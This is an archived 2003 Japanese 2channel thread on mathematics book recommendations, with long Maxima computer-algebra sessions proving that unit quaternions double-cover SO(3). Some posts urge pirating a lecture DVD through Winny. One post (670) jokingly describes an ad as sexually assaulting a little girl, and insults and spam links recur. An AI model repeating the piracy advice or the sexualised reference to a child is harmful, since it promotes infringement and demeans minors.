「複素解析と流体力学」数学セミナー増刊, 1981

など、流体力学の専門家としての感覚で数学について
わかりやすい説明をしています。
「等角写像」以外は読んだな。
611 名前： １３２人目の素数さん 投稿日： 03/06/02 18:33: >>610
> 「複素解析と流体力学」数学セミナー増刊, 1981
これは改訂版が出ているようですが、難易度はどのくらいですか?
物理の本らしく、計算力がないと全然ついていけないとか、そもそも流体力学を知らないと問題外とかあるのでしょうか?
612 名前： １３２人目の素数さん 投稿日： 03/06/02 18:58: 605 名前：１３２人目の素数さん：03/06/02 17:43
>>604
> 今井弘一って新潟大だったの？
> ホント？
> なのになんであんなにデンパなの？

別に不思議でもなんでもない。
どこの大学出身だろうが、デンパはデンパだよ、ワトスン君。
613 名前： １３２人目の素数さん 投稿日： 03/06/02 18:59: いい大学を出ても、大量殺人に関わるやついるしね
614 名前： １３２人目の素数さん 投稿日： 03/06/02 19:02: また荒れだしたか ^^;
615 名前： 610 投稿日： 03/06/02 19:15: >>611
今手元にありませんが、第1部は大学1年生でも微積分を
勉強しながら読める、函数論のわかりやすい入門書です。

流体力学を知らないと読めないというよりも、複素函数を
実二次元の函数と思うと流体の流れを表すので、複素函数の
イメージも流体のイメージも並行して身につきます。好著。

http://www.amazon.co.jp/exec/obidos/ASIN/4535606013/qid%3D1046620854/sr%3D1-3/ref%3Dsr%5F1%5F2%5F3/249-7465568-4512360

「応用超関数論」のほうも、佐藤超函数が複素函数の境界値で
あることから、流体のイメージを超函数の理解に役立てた本です。

http://www.saiensu.co.jp/books-htm/ISBN4-7819-0215-4.htm
http://www.saiensu.co.jp/books-htm/ISBN4-7819-0216-2.htm
616 名前： １３２人目の素数さん 投稿日： 03/06/02 19:35: >>615
http://aserve.procen.net/nippyo/books/bookinfo.asp?No=1316
日本評論社のページを見てみると、原題が『流体力学と複素解析』だったのが、
「複素解析と流体力学」に変わったみたいですね。(ニュアンスが微妙に違うということだろうか?)
もちろん内容も手が加えられているのでしょうけど。
617 名前： １３２人目の素数さん 投稿日： 03/06/02 22:58: >>594
＞葉層構造、モジュライ空間は説明しとらん

オマエ、読んだことないだろ（ｗ
p.163に４.特性類の§８.葉層構造、
p.207に６.４次元多様体上のYang-Mills接続のモジュライ空間
というのがある。

やや難しいのは確かだが、物理科でも学部三年次以上なら読める。
ゲージ理論を本格的にやるならお勧め。
618 名前： １３２人目の素数さん 投稿日： 03/06/03 01:07: 597よ、頼むから今度からはもうちょっと嘘っぽく書いてくれ
619 名前： １３２人目の素数さん 投稿日： 03/06/03 02:19: 今月の岩波の新刊よりコピペ

新感覚物理入門
―― 力学・電磁気学の新しい考え方 ――
今井　弘一

■体裁＝A5判・並製・カバー・200頁
■本体 2,500円（未刊）
■2003年6月26日
■ISBN4-00-005451-1 C0342

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古典物理学のむずかしさに疑問をもった著者が，ニュートン，マクスウェル
以来の伝統を問い直す．「力」というあいまいな概念を排し日常感覚から
理解しやすい質量や運動量などの保存則を基礎として，力学・電磁気学に
統一した見方を与える新体系を提案する．物理を学んだがどうもすっきり
しないという蛆虫にすすめる画期的1冊．
620 名前： １３２人目の素数さん 投稿日： 03/06/03 02:29: >>619
ｲﾏｲﾁだな
621 名前： １３２人目の素数さん 投稿日： 03/06/03 09:02: >>617
もう一度自分がレスしたあたりを読んでみれ。
>>594は>>593に「接続の微分幾何とゲージ理論」に書いてあるようなことが
和達「微分・位相幾何」に書いてあるか、と訊かれ「説明しとらん」って言ってるんだぞ。
622 名前： １３２人目の素数さん 投稿日： 03/06/03 09:22: 煽り屋はレスをよく読まないのが常
623 名前： １３２人目の素数さん 投稿日： 03/06/03 09:55: 煽り屋というより自分の読んだことのある本が出てきたからちょっとトクイになっただけだろ

と煽ってみるテスト
624 名前： １３２人目の素数さん 投稿日： 03/06/03 10:29: 「煽り屋」と言う言葉は性格を指していっている訳で
625 名前： １３２人目の素数さん 投稿日： 03/06/03 22:11: 赤チャート
626 名前： １３２人目の素数さん 投稿日： 03/06/04 10:39: これから出る数学書をチェックしてみた。まずは日本評論社
● 世界の数学オリンピック
http://aserve.procen.net/nippyo/korekara/bookinfo.asp?No=2145
● 黄金比とフィボナッチ数
http://aserve.procen.net/nippyo/korekara/bookinfo.asp?No=2138
● ライフゲイムの宇宙［新装版］
http://www.nippyo.co.jp/korekara/index.htm
● 入門算数学
http://www.nippyo.co.jp/korekara/index.htm

フィボナッチや黄金比って、この前も出てなかったっけ？
しかも、どっちも日本評論社だし…。
● フィボナッチ数の小宇宙
http://aserve.procen.net/nippyo/books/bookinfo.asp?No=1963
● 黄金分割
http://aserve.procen.net/nippyo/books/bookinfo.asp?No=1950
627 名前： １３２人目の素数さん 投稿日： 03/06/04 10:39: >>626
しかも、７月号の数蝉で特集あるし…
628 名前： １３２人目の素数さん 投稿日： 03/06/04 12:33: こんなのが出たみたい。

DVD版　小平邦彦特別講義　数学の不思議／幾何への誘い　3巻
http://www.iwanami.co.jp/.BOOKS/13/2/1301480.html

■体裁＝DVD版
■本体 36,000円（未刊）
■2003年6月20日
■ISBN4-00-130148-2 C0041

初等・中等教育における幾何学の重要性を主張してやまなかった日本人初のフィールズ賞受賞者が，
「図形の科学」としての幾何学の面白さを説く名講義．
その語り口は実に味わい深い．
岩波ビデオテークとして刊行した「幾何への誘い」に，今回は自らの数学観を率直に語った「数学の不思議」を加え，
DVD版とVHS版を同時に刊行する．
629 名前： １３２人目の素数さん 投稿日： 03/06/04 13:43: >>628
ネタかと思ったら本当だった。ﾋﾞｸｰﾘ
630 名前： １３２人目の素数さん 投稿日： 03/06/04 14:41: 数学やってる奴がDVDなんてもんもってるかよ！
VHSにしろよ！
631 名前： １３２人目の素数さん 投稿日： 03/06/04 15:02: >628
小平先生の「老い」がよくわかるビデオ

みるとがーかり
632 名前： １３２人目の素数さん 投稿日： 03/06/04 15:06: 特盛うんち丼
633 名前： １３２人目の素数さん 投稿日： 03/06/04 16:30: >>631

画像うpきぼん
634 名前： １３２人目の素数さん 投稿日： 03/06/04 18:43: >>630
> 数学やってる奴がDVDなんてもんもってるかよ！
> VHSにしろよ！
http://www.iwanami.co.jp/.BOOKS/16/7/1601420.html
こっちがVHS

説明をよく見る!
> DVD版とVHS版を同時に刊行する．
635 名前： １３２人目の素数さん 投稿日： 03/06/04 20:26: 最近のパソコンは大抵DVDドライブが付いてるだろ。
あとはnyとかフリーソフトを使えばよろし。
636 名前： １３２人目の素数さん 投稿日： 03/06/04 20:28: 最近のパソコンは大抵DVDドライブが付いてますな。
あとはnyとかフリーソフトを使えばよろし。
637 名前： １３２人目の素数さん 投稿日： 03/06/04 20:42: 活躍していろ頃の小平先生の
講義の映像を売る方がよいですね。>岩波
638 名前： １３２人目の素数さん 投稿日： 03/06/04 20:43: 最近のパソコンは大抵DVDドライブが付いてますね。
あとはリプして(ry
639 名前： １３２人目の素数さん 投稿日： 03/06/04 21:35: 高いな、まじでwinnyに流してほしい
640 名前： １３２人目の素数さん 投稿日： 03/06/05 06:25: 本を読んでて明らかな間違いを見つけたときは出版社か著者にメールでもしてあげたほうがいいのだろうか?
641 名前： １３２人目の素数さん 投稿日： 03/06/05 08:40: そりゃ，良心的な著者・出版社なら，間違いの指摘は大歓迎じゃね？
642 名前： １３２人目の素数さん 投稿日： 03/06/05 09:13: >>640

おまえごときが気付く程度のまちがいは
とっくに著者が気付いてるよ
643 名前： １３２人目の素数さん 投稿日： 03/06/05 10:25: >>642
どーして？
気が付かなかったからそのまま出しちゃったんだろ
644 名前： １３２人目の素数さん 投稿日： 03/06/05 10:31: >>643

ヴァカ

出した後に気付くもんなんだよ

おまえも一度出版してみればよくわかるぞ
645 名前： １３２人目の素数さん 投稿日： 03/06/05 11:23: けっこう細かい間違えって残ってる本が多いと思う。
添え字とか、文字抜けとか。
646 名前： １３２人目の素数さん 投稿日： 03/06/05 12:23: >>644
何をそんなにイライラしてるんだ？
数学やる前に精神科に行ったほうがいい。
647 名前： １３２人目の素数さん 投稿日： 03/06/05 12:44: >>646
きっと、本書いたら間違いだらけで
それを指摘されてキレてんだろ
648 名前： １３２人目の素数さん 投稿日： 03/06/05 13:39: 丸やピリオドを使わない
行間をよくあける
言動がキティ
「ヴァカ」という言葉を使う

500番台を荒らしてた奴だな
649 名前： １３２人目の素数さん 投稿日： 03/06/05 15:18: >>648
松本慎吾？
650 名前： １３２人目の素数さん 投稿日： 03/06/05 22:09: 佐武一郎の「線型代数」って、そんなに名著なのか？
2chで噂を聞く限りでは、骨のある、難しい感じの本かな
と思っていたんだけど、書店で立ち読みしたら、初心者
向けの基礎的な本にしか見えなかったけど･･･
斉藤の線形代数の方が明らかに本格的そうに見えた。
買おうと思っていたんだけど、やめちゃったよ。

実は、簡単そうに見えて奥が深い本なのか？
それとも、本が違うのか？
何を買うか迷っているので教えて欲しい。
651 名前： １３２人目の素数さん 投稿日： 03/06/05 22:24: 佐武一郎の「線型代数」って二冊あんだけど
チミが見たのは共立のほうでないの？
消火坊のほうが名著として有名なんだけど
652 名前： １３２人目の素数さん 投稿日： 03/06/05 22:46: >>650
651の言うとーり。
難易度まったく違うぞ。
653 名前： １３２人目の素数さん 投稿日： 03/06/05 22:47: なら始めからそう言えや！
654 名前： １３２人目の素数さん 投稿日： 03/06/05 23:01: >>652
ちなみに佐武のほうが斉藤より本格的
655 名前： １３２人目の素数さん 投稿日： 03/06/05 23:13: 線形代数・・・共立
線型代数・・・消化棒
656 名前： １３２人目の素数さん 投稿日： 03/06/05 23:15: ↑正確には消化房の方は”線型代数学”な・・・
657 名前： １３２人目の素数さん 投稿日： 03/06/05 23:21: 当て字かよ、ビギナーめ
658 名前： １３２人目の素数さん 投稿日： 03/06/06 04:00: 数学者の伝記でお勧めのものはありますか？
659 名前： １３２人目の素数さん 投稿日： 03/06/06 04:09: Problems in Group Theory - John D. Dixon
で群論の勉強してるひとっていないのかな？
いればどういうふうに使ってるか、難易度とかを教えてください。
あと、この本は初心者向けじゃないようだけど、どれくらいの知識があれば
読めるんですか？
660 名前： _ 投稿日： 03/06/06 04:10: http://homepage.mac.com/hiroyuki43/moe/jaz04.html
661 名前： 直リン 投稿日： 03/06/06 04:23: http://homepage.mac.com/yuuka20/
662 名前： １３２人目の素数さん 投稿日： 03/06/06 07:08: >>659
燃焼系のＣＭのまねで子供の変わりに練習用に使ってるよ
本が顔面にささりそうになるので
素人は真似しないこった

難易度は難しいし、初心者向けじゃあない、知識より実践ってとこか
663 名前： １３２人目の素数さん 投稿日： 03/06/06 10:01: >子供の変わりに練習用に使ってるよ
ということは今教授かなにかですか？
664 名前： ”管理”人 投稿日： 03/06/06 10:21: ☆☆☆ネット広告掲載で副収入！☆☆☆
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665 名前： 動画直リン 投稿日： 03/06/06 10:23: http://homepage.mac.com/hitomi18/
666 名前： １３２人目の素数さん 投稿日： 03/06/06 15:50: >>662＝>>642＝知らないくせしてレスをつけたがるアフォ
667 名前： １３２人目の素数さん 投稿日： 03/06/06 18:21: >>658
Grothendieck?
668 名前： １３２人目の素数さん 投稿日： 03/06/06 18:43: グロタンの自伝「収獲とまいた種と」はマジでおすすめ
いろいろ示唆的な記述がある

文学的価値も高い
669 名前： １３２人目の素数さん 投稿日： 03/06/06 20:25: 662 ：１３２人目の素数さん：03/06/06 07:08
>>659
>燃焼系のＣＭのまねで子供の変わりに練習用に使ってるよ
>本が顔面にささりそうになるので
>素人は真似しないこった

意味が分からないんですが？
670 名前： １３２人目の素数さん 投稿日： 03/06/06 20:41: ＞燃焼系のＣＭ
寝転がって足を上に向け、足の裏の上に座布団を乗っけて回す技あるけど、
あの要領で幼女を姦しているCMの事だと思う。
駅のホームでひたすら回転したり、棒に鯉のぼりの姿勢で掴まって腕の力だけで登る奴の
新しいバージョンが今やってる。
671 名前： １３２人目の素数さん 投稿日： 03/06/07 12:05: >>670
>棒に鯉のぼりの姿勢で掴まって腕の力だけで登る奴

なるほど、この解説でピンと来ました。
ありがとん
672 名前： １３２人目の素数さん 投稿日： 03/06/07 15:05: Einstein の相対性理論の Mincovski による
数学的解釈を詳しくていねいに
書いた文献てありますでしょうか？

あまり見あたらないのですが
673 名前： GO MAXIMA 投稿日： 03/06/08 01:09: >>672
まず基本的にはファインマンの力学 (岩波)の第十七章P237~P248
時空間の幾何学の処のファインマンの考えかたを理解しましょう。
彼はミンコフスキの座標変換と３次元での空間の回転を並べてかいて
空間の変換で座標がまじりあっているので、ある一方向から見た
奥行きや幅が変換によって異なって見えるが脳が新しい座標についての
奥行きや幅を自動計算してくれるので、物体の"真実性"を見失わない
のと同じやりかたでローレンツ変換を理解できないか?と言っている。
この考え方はどっきりすほど的をえていると思うね。
つまりローレンツ変換でいろんな量(４元ベクトルなど)を３次元の時の
脳のようにできなければ見えてこないといっています。
そこでいきなりJOHN W。MORGAN THE SEIBERG-WITTEN EQUATIONS AND
APPLICATIONS TO THE TOPOLOGY OF SMOOTH FOUR-MANIFOLDS の２章を
読めといえば千人から一人になっちゃうんでもう少し解かりやすく
読んでためになるのをあげときますね。(読めよ、大学の図書館なら
あるはず。P12には SNYGGが電話帳(GRAVITATION)を回して720度で
１回転を実行している８枚の写真があり笑えます。)
Clifford Algebra (A Computational Tool for Physicists)
JOHN SNYGG OXFORD UNIVERSITY PRESS 1997 ISBN 0195098242
第１章 a taste of clifford algebra in euclidean 3-space
第２章 a sample of clifford algebra in minkowski 4-space
第３章 clifford algebra for flat n-dimensional spaces
p3からp59までやってもう一度ファイマンみれば解かる。
４章以降は最先端へと続く道ですね。P59までなら誰でも理解できる
と思います。
674 名前： １３２人目の素数さん 投稿日： 03/06/08 02:30: 初等的なものから大学レベルまで定理と証明(できたら別解も各種)が
たくさん載っている本はありませんでしょうか。
675 名前： １３２人目の素数さん 投稿日： 03/06/08 04:31: >>673

Faynman てどうも読めません
数学者が書いたのが好ましいです
676 名前： １３２人目の素数さん 投稿日： 03/06/08 06:37: アフォな人種差別主義者だな
677 名前： １３２人目の素数さん 投稿日： 03/06/08 10:00: ダメな奴は何を読んでもダメ！
678 名前： １３２人目の素数さん 投稿日： 03/06/08 13:17: そういう香具師は石村のｱﾌｫ本読むべし
679 名前： １３２人目の素数さん 投稿日： 03/06/08 15:21: 金子晃の超函数入門だけどさ、
昔の上下に分かれてる奴と新しくなって一冊の本にまとまった奴、
大きな違いある？

古本屋で昔の方手に入れたんだが気になった。
680 名前： １３２人目の素数さん 投稿日： 03/06/08 18:49: >>679
一冊にまとまって調べやすくなった。
誤植を修正しているかもしれない。
数式でオナニーした手で触ったかもしれないという心配はない。
値段が高くなった。
新しい本だから綺麗だよ。
681 名前： _ 投稿日： 03/06/08 18:52: http://kame.kakiko.com/hiroyuki/hankaku_b01.html
682 名前： １３２人目の素数さん 投稿日： 03/06/08 19:00: 多変量統計をやっています、こんなものがあれば便利になるものがあるのですが、それは
ベクトル ( ... , a(-2) , a(-1) , a(1) , a(2) , ... )
と無限に要素が続くベクトルで、実際に使う部分は有限個の要素で、使っていない所は 0 という前提です、ベクトルの絶対値は発散しないとかでもいいと思います。
これと、同様に要素数が無限になっている行列について、書いてある本があったら紹介してほしいのですが、
誰かご存知ありませんでしょうか？
683 名前： １３２人目の素数さん 投稿日： 03/06/08 19:20: >>680
さんくす。
684 名前： １３２人目の素数さん 投稿日： 03/06/09 01:34: >>672
新井朝雄の共立から最近出た本があったと思う。

>>682
ヒルベルト空間とかではだめ？
685 名前： １３２人目の素数さん 投稿日： 03/06/09 23:44: 学部１ねんで　数学科を目指しているんですが
誰か
解析と
線形代数の問題集で面白いものを教えてください
686 名前： １３２人目の素数さん 投稿日： 03/06/10 01:45: >>685

いい加減，受験勉強みたいな
勉強法やめろよヴァカ
687 名前： １３２人目の素数さん 投稿日： 03/06/10 07:31: >>684
>ヒルベルト空間とかではだめ？
良く分からないのですが読んでみたいです、よい書籍があったら紹介してください。
688 名前： １３２人目の素数さん 投稿日： 03/06/10 07:34: >>686
もっと優しくできないのかな．
689 名前： １３２人目の素数さん 投稿日： 03/06/10 09:13: >>688

やさしくしてね，ってか

おまえは処女か？
690 名前： １３２人目の素数さん 投稿日： 03/06/10 09:45: まぁ弱い方ほど虚勢を張りたがるのを注意する必要性は無いと思うけどな。
691 名前： １３２人目の素数さん 投稿日： 03/06/10 11:23: ( ´,_ゝ`)ﾌﾟｯ　こんなとこでもやってやがる
　　　　　　　　さびしいんだね（ﾜﾗ
692 名前： １３２人目の素数さん 投稿日： 03/06/10 11:39: オイラー全集って感じの本でお勧めがあるのなら教えてくれ。
693 名前： １３２人目の素数さん 投稿日： 03/06/10 12:13: オイラー全集
694 名前： １３２人目の素数さん 投稿日： 03/06/10 19:23: まぁそりゃそうだな・・・
695 名前： GO MAXIMA 投稿日： 03/06/11 04:04: >>685
686のいうこともきついが意地悪だけではないめんもあるよ。以下ある意味で線形代数の裏道を
解説してみる。
４元数モーガン著二木昭人訳サイバーグヰッテン理論とトポロジー培風館 ISBN 4563002623
２章のはじめの1ページ分に４元数と回転群の説明がある。
４元数体Hの中の単位球面S3 を考えると４元数体の積はS3に群構造を誘導
する。この群のHへ共役による作用
S3 X H -> H
(a,λ) -> aλa^(-1) を考えればノルムを保つ、直交表現を得る。この
作用でHの中心Rは不変であり、したがってRの直交補空間である純虚数４
元数全体のなす３次元部分空間ImH も不変である。
ええっとその通りで何の疑問もないところだけど計算でImHが不変を示す
のは結構面倒でmaximaにやらすと以下のようになる。
(C2) load("yogen.mac");
(C3) a:_a+_b*i+_c*j+_d*k$
(C4) declare([_g,_h],scalar)$
(C5) x:_e*i+_f*j+_g*k$
(C6) expand4(a.conj4(a));
(D6) _d^2+_c^2+_b^2+_a^2 //つまりノルムが1ならconj4(a)がaの逆元
(C7) expand4(a.x.conj4(a));
(D7)_d^2*_g*k-_c^2*_g*k-_b^2*_g*k+_a^2*_g*k+2*_c*_d*_f*k+2*_a*_b*_f*k
+2*_b*_d*_e*k-2*_a*_c*_e*k+2*_c*_d*_g*j-2*_a*_b*_g*j-_d^2*_f*j
+_c^2*_f*j-_b^2*_f*j+_a^2*_f*j+2*_a*_d*_e*j+2*_b*_c*_e*j
+2*_b*_d*_g*i+2*_a*_c*_g*i-2*_a*_d*_f*i+2*_b*_c*_f*i-_d^2*_e*i
-_c^2*_e*i+_b^2*_e*i+_a^2*_e*i
696 名前： GO MAXIMA 投稿日： 03/06/11 04:06: (C8) ratsimp(%);
(D8) (_d^2*_g-_c^2*_g-_b^2*_g+_a^2*_g+2*_c*_d*_f+2*_a*_b*_f+2*_b*_d*_e
-2*_a*_c*_e)*k
+(2*_c*_d*_g-2*_a*_b*_g-_d^2*_f+_c^2*_f-_b^2*_f+_a^2*_f+2*_a*_d*_e
+2*_b*_c*_e)*j
+(2*_b*_d*_g+2*_a*_c*_g-2*_a*_d*_f+2*_b*_c*_f-_d^2*_e-_c^2*_e+_b^2*_e
+_a^2*_e)*i
d8のノルムの２乗が(_g^2+_f^2+_e^2)というのは明らかだが念のため計算させると
(C9) norm4(d8);
(D9) SQRT(_d^4*_g^2+2*_c^2*_d^2*_g^2+2*_b^2*_d^2*_g^2+2*_a^2*_d^2*_g^2
+_c^4*_g^2+2*_b^2*_c^2*_g^2+2*_a^2*_c^2*_g^2+_b^4*_g^2
+2*_a^2*_b^2*_g^2+_a^4*_g^2+_d^4*_f^2+2*_c^2*_d^2*_f^2
+2*_b^2*_d^2*_f^2+2*_a^2*_d^2*_f^2+_c^4*_f^2
+2*_b^2*_c^2*_f^2+2*_a^2*_c^2*_f^2+_b^4*_f^2
+2*_a^2*_b^2*_f^2+_a^4*_f^2+_d^4*_e^2+2*_c^2*_d^2*_e^2
+2*_b^2*_d^2*_e^2+2*_a^2*_d^2*_e^2+_c^4*_e^2
+2*_b^2*_c^2*_e^2+2*_a^2*_c^2*_e^2+_b^4*_e^2
+2*_a^2*_b^2*_e^2+_a^4*_e^2)
(C10) factor(d9*d9);
(D10) (_d^2+_c^2+_b^2+_a^2)^2*(_g^2+_f^2+_e^2) //前半は条件から1
さてImHは自然にS3のリー環と同一視され、(a,λ) -> aλa^(-1)はS3の
自分自身のリー環への随伴作用と同じになる。
ええっとこの部分は計算でも比較的単純です。S3はノルム1のHと考えてい
るので任意のImHのノルム１の元x と任意の実数thについて exp(th*x)を
cos(th)+x*sin(th)で定義してこれがS3の元であることを示せば良い〔前半)
697 名前： GO MAXIMA 投稿日： 03/06/11 04:08: (C35) expand4(x.x);
(D35) -_g^2-_f^2-_e^2 //これからx.x=-1
(C36) (declare(th,scalar),norm4(cos(th)+x*sin(th)));
(D36) SQRT(SIN(th)^2*_g^2+SIN(th)^2*_f^2+SIN(th)^2*_e^2+COS(th)^2)
(C37) format(d36*d36,%p(sin(th),cos(th)),trigsimp);
(D37) SIN(th)^2*(_g^2+_f^2+_e^2)+COS(th)^2
(C38) trigsimp(subst([_g^2+_f^2+_e^2=1],%));
(D38) 1 //よってexp(th*x)はS3の元、ImHは S3のリー環と同一視できる。
後半は随伴表現の定義から明らかであるがもう少し書くと S3の元gに対
して(Ad g)x= gxg^(-1)とおけば (Ad g)はリー環の一次変換であって
g -> (Ad g)は随伴表現(特に連続である)
以下はやさしい演習問題とある。±1と異なる長さ1の４元数aは ImHへの
共役作用 axa^(-1)によって一次元部分空間RImaとその２次元直交補空間
を不変にする、前者には自明に作用し後者にはaと1のなす角thの２倍の角
度の回転として作用する。
ええっとこの部分を計算で示してみよう。前の議論から
aをcos(th)+x*sin(th)、x*sin(th)はRImaに含まれxはノルム１として一般
性を失われない。
(C45) a:cos(th)+x*sin(th)$
(C46) expand4(a.(x*sin(th)).conj4(a));
(D46) SIN(th)^3*_g^3*k+SIN(th)^3*_f^2*_g*k+SIN(th)^3*_e^2*_g*k
+COS(th)^2*SIN(th)*_g*k+SIN(th)^3*_f*_g^2*j
+SIN(th)^3*_f^3*j+SIN(th)^3*_e^2*_f*j
+COS(th)^2*SIN(th)*_f*j+SIN(th)^3*_e*_g^2*i
+SIN(th)^3*_e*_f^2*i+SIN(th)^3*_e^3*i
+COS(th)^2*SIN(th)*_e*i
(C70) format(d46,%p(sin(th),cos(th)),trigsimp);
(D70) SIN(th)^3*((_g^3+(_f^2+_e^2)*_g)*k+(_f*_g^2+_f^3+_e^2*_f)*j
+(_e*_g^2+_e*_f^2+_e^3)*i)
+COS(th)^2*SIN(th)*(_g*k+_f*j+_e*i)
(C71) expand(subst([_f^2=1-_e^2-_g^2],d70))$
//簡略化でちょっとてこずるのはしかたない。
698 名前： _ 投稿日： 03/06/11 04:08: http://homepage.mac.com/hiroyuki44/jaz02.html
699 名前： GO MAXIMA 投稿日： 03/06/11 04:12: //人間風には成分でxを展開しない計算がよい。
(C72) format(%,%p(sin(th),cos(th)),trigsimp);
(D72) SIN(th)^3*(_g*k+(_f*_g^2+_f^3+_e^2*_f)*j+_e*i)
+COS(th)^2*SIN(th)*(_g*k+_f*j+_e*i)
(C73) subst([_f^3=_f-_f*_e^2-_f*_g^2],%);
(D73) SIN(th)^3*(_g*k+_f*j+_e*i)+COS(th)^2*SIN(th)*(_g*k+_f*j+_e*i)
(C77) format(d75,%p(_g*k+_f*j+_e*i),trigsimp);
(D77) SIN(th)*(_g*k+_f*j+_e*i) //これでRImaは不変な一次元部分空間
さてImHは３次元だからこのxと直行しておおきさ1のn2とn1がとれる。
n2,n1,xを左手系とすれば n1.x=-x.n1=n2,x.n2=-n2.x=n1このへんは成分
で計算しない方が楽だがちょっとスケッチしておこう。
(C80) declare([_a1,_b1,_c1],scalar)$
(C81) n1:_a1*i+_b1*j+_c1*k$
(C82) expand4(x.n1)$
(C83) ratsimp(%);
(D83) (_b1*_e-_a1*_f)*k+(_a1*_g-_c1*_e)*j+(_c1*_f-_b1*_g)*i-_c1*_g-_b1*_f
-_a1*_e
スカラー部分は内積の(-1)倍だが直交条件から0、ImH部分は外積になって
いるのでうまく左手系がとれる。 n1.x=-x.n1=n2,x.n2=-n2.x=n1を直接使
おう。
(C84) kill(n1,x)$ //成分表示を消す
(C85) declare([x,n1,n2],nonscalar)$
(C86) expand4(a.n1.(cos(th)-x*sin(th)));
(D86) -SIN(th)^2*(x . n1 . x)+COS(th)*SIN(th)*(x . n1)
-COS(th)*SIN(th)*(n1 . x)+COS(th)^2*n1
(C87) trigreduce(subst([x.n1.x=n1,x.n1=-n2,n1.x=n2],%));
(D87) COS(2*th)*n1-SIN(2*th)*n2
700 名前： GO MAXIMA 投稿日： 03/06/11 04:13: (D87) COS(2*th)*n1-SIN(2*th)*n2
(C88) expand4(a.n2.(cos(th)-x*sin(th)));
(D88) -SIN(th)^2*(x . n2 . x)+COS(th)*SIN(th)*(x . n2)
-COS(th)*SIN(th)*(n2 . x)+COS(th)^2*n2
(C89) trigreduce(subst([x.n2.x=n2,x.n2=n1,n2.x=-n1],%));
(D89) COS(2*th)*n2+SIN(2*th)*n1
D87と D89から ImHの１次変換axa^(-1)でxの直交補空間は2*thの回転となっ
ていることが示された。
従ってImHのすべての回転は表現
S3 ->SO(ImH)=SO(3)の像に含まれる。この表現のカーネルはS3とHの中心
との共通部分、すなわち±1である。(カーネルはd87とd89がn1、n2になる
条件からCOS(2*th)=1,+SIN(2*th)=0からでる)
このようにしてSO(3)の２重被覆を長さ１の４元数全体の群として構成できる
701 名前： GO MAXIMA 投稿日： 03/06/11 04:14: //人間風には成分でxを展開しない計算がよい。具体例(前の別解)
±1と異なる長さ1の４元数aは ImHへの
共役作用 axa^(-1)によって一次元部分空間RImaとその２次元直交補空間
を不変にする、という部分について
(C2) load("yogen.mac");
(C3) declare([th,_g,_h,_i],scalar,[x,y],nonscalar);
(C4) a:cos(th)+x*sin(th)$
(C5) expand4(a.x.(cos(th)-x*sin(th)));
(D5) COS(th)^2*x-SIN(th)^2*(x . x . x)
(C6) trigsimp(subst([x.x.x=-x],%));
(D6) x //これでxの方向は不変である(一次元部分空間RImaは不変)
よってその２次元直交補空間も不変である。
回転になることは純虚数ImHの元x1、y1とすればx1.x.x1はこの３次元
空間で法線方向x1の平面に関してxの鏡映あること、y1.x1.x.x1.y1は
この鏡映に続いて法線方向y1の平面に関する鏡映を行ったものだから回転
である。x1とy1の大きさを1としているのでx1.y1=(y1.x1)^(-1)が成立、
y1.x1=aとなるx1、y1がとれれば終了。(これは前のC82,C83,D83から
すぐ言える) 普通の本ではこちらの説明が主流だが、前の解で
(C86) expand4(a.n1.(cos(th)-x*sin(th)));の計算も人間なら
n1.(cos(th)-x*sin(th))=(cos(th)+x*sin(th)).n1=a.n1が成り立つので
expand4(a.a.n1)を暗算で計算できるのでこれもありだろう。
702 名前： GO MAXIMA 投稿日： 03/06/11 04:15: ええっとここでは鏡映２回が回転ということを言ったのではなくて
SO(3)の２重被覆を長さ１の４元数全体の群として構成できることが言い
たかったことですね。さらに特殊直交群SO(n)の普遍被覆群Spin(n)は
クリフォード代数を使えばn=3の時と同じながれでシステマティクに
構成できることが続く８ページの間に述べられている。この調子で130
ページにどのくらいの情報がつまっているか想像できるだろう。ここで
とろとろ説明したのは１ページ分なのだ。
703 名前： GO MAXIMA 投稿日： 03/06/11 04:16: それで４元数はSO(3)の２重被覆群を構成するには役に立つが一般のnでは
十分でないからといってつまらない存在ではない。この書き込みをする動
機のひとつに前に複素関数のスレッドで４元数での関数論は素人があそ
べる程には開発されていないと書き込んだら、某大御所にゴルアと怒られ
たことがある。つまり４元数(環)のzeta関数やそこでの保型形式など大変
重要なものに興味を持つやからが出て欲しいということであった。まあ
maximaで４元数の簡単なライブラリでも書いてテストしてみた。一応動
くので今週中にSim板のMAXIMAスレで使いかたなど解説する予定。
yogen.macはとりあえずMAXIMAすれにあげておいた。数学をあまり知らな
いと数式処理システムは使えないというか使い道がない。数式処理システ
ムを使ってまず気づくのは我々人間とコンピュータのあまりの違いだ、
いくつかの文字を含む計算をなんの有効な概念操作を行うこと無く実行
すると何ページにもなる結果を前に呆然とすることになり、簡単なと思っ
ているSOLVEが文字計算では実質解けないなどに直面することは良いこと
だと思う。つまり我々人間は概念操作を得意としているのでこれを主体
に数学を構成するのだが、その有効性を他者であるコンピュータに説明で
きると素敵であろう。夏休みにMAXIMAと４元数を片手に山内恭彦著
回転群とその表現岩波でも読んで見る人がでたらいいなと。
(絶版でも図書館には何冊かあるはず。)
704 名前： １３２人目の素数さん 投稿日： 03/06/11 08:47: Go MAXIMAが暴走してるスレはここでつか？
705 名前： _ 投稿日： 03/06/11 09:12: http://homepage.mac.com/hiroyuki44/hankaku06.html
706 名前： １３２人目の素数さん 投稿日： 03/06/11 09:28: >>704
おれ、けっこう
Go MAXIMAの楽しみにしてるんだけど…
707 名前： １３２人目の素数さん 投稿日： 03/06/11 10:35: 同じく俺も。
708 名前： _ 投稿日： 03/06/11 10:46: http://homepage.mac.com/hiroyuki44/hankaku06.html
709 名前： １３２人目の素数さん 投稿日： 03/06/11 10:50: mathmaniaと同じで「好きにしてやれ・・・」
710 名前： １３２人目の素数さん 投稿日： 03/06/11 20:42: >>706-707
何言ってんだかさっぱりわからんこともあるが、おれも楽しみにしてる。
MAXIMA 使ってないのに、このスレ見てたり。
http://science.2ch.net/test/read.cgi/sim/1011102458/l50
711 名前： １３２人目の素数さん 投稿日： 03/06/11 21:08: >>706-707,710
単にひねくれているだけなのか、ほんとに知らんのか、
紹介する本が微妙にずれているんだよね＞MAXIMA

自分で読まずに、人の受け売りで知ったかぶってる感じ。
まあ、そういう人間も２ちゃんでは必要かな。
数セミの編集とかやるのなら向いているかもしれん。
712 名前：投稿日： 03/06/12 10:13: >>711
中一でがたがたいうんじゃない。
From: [177] 翔太＠中一 <>
Date: 03/05/17 05:10

GO MAXIMA が薦める本て，
なんかちょっとずれてるんだよな
713 名前： １３２人目の素数さん 投稿日： 03/06/12 10:28: >>711自分で読まずに、人の受け売りで知ったかぶってる感じ。

でもないだろ
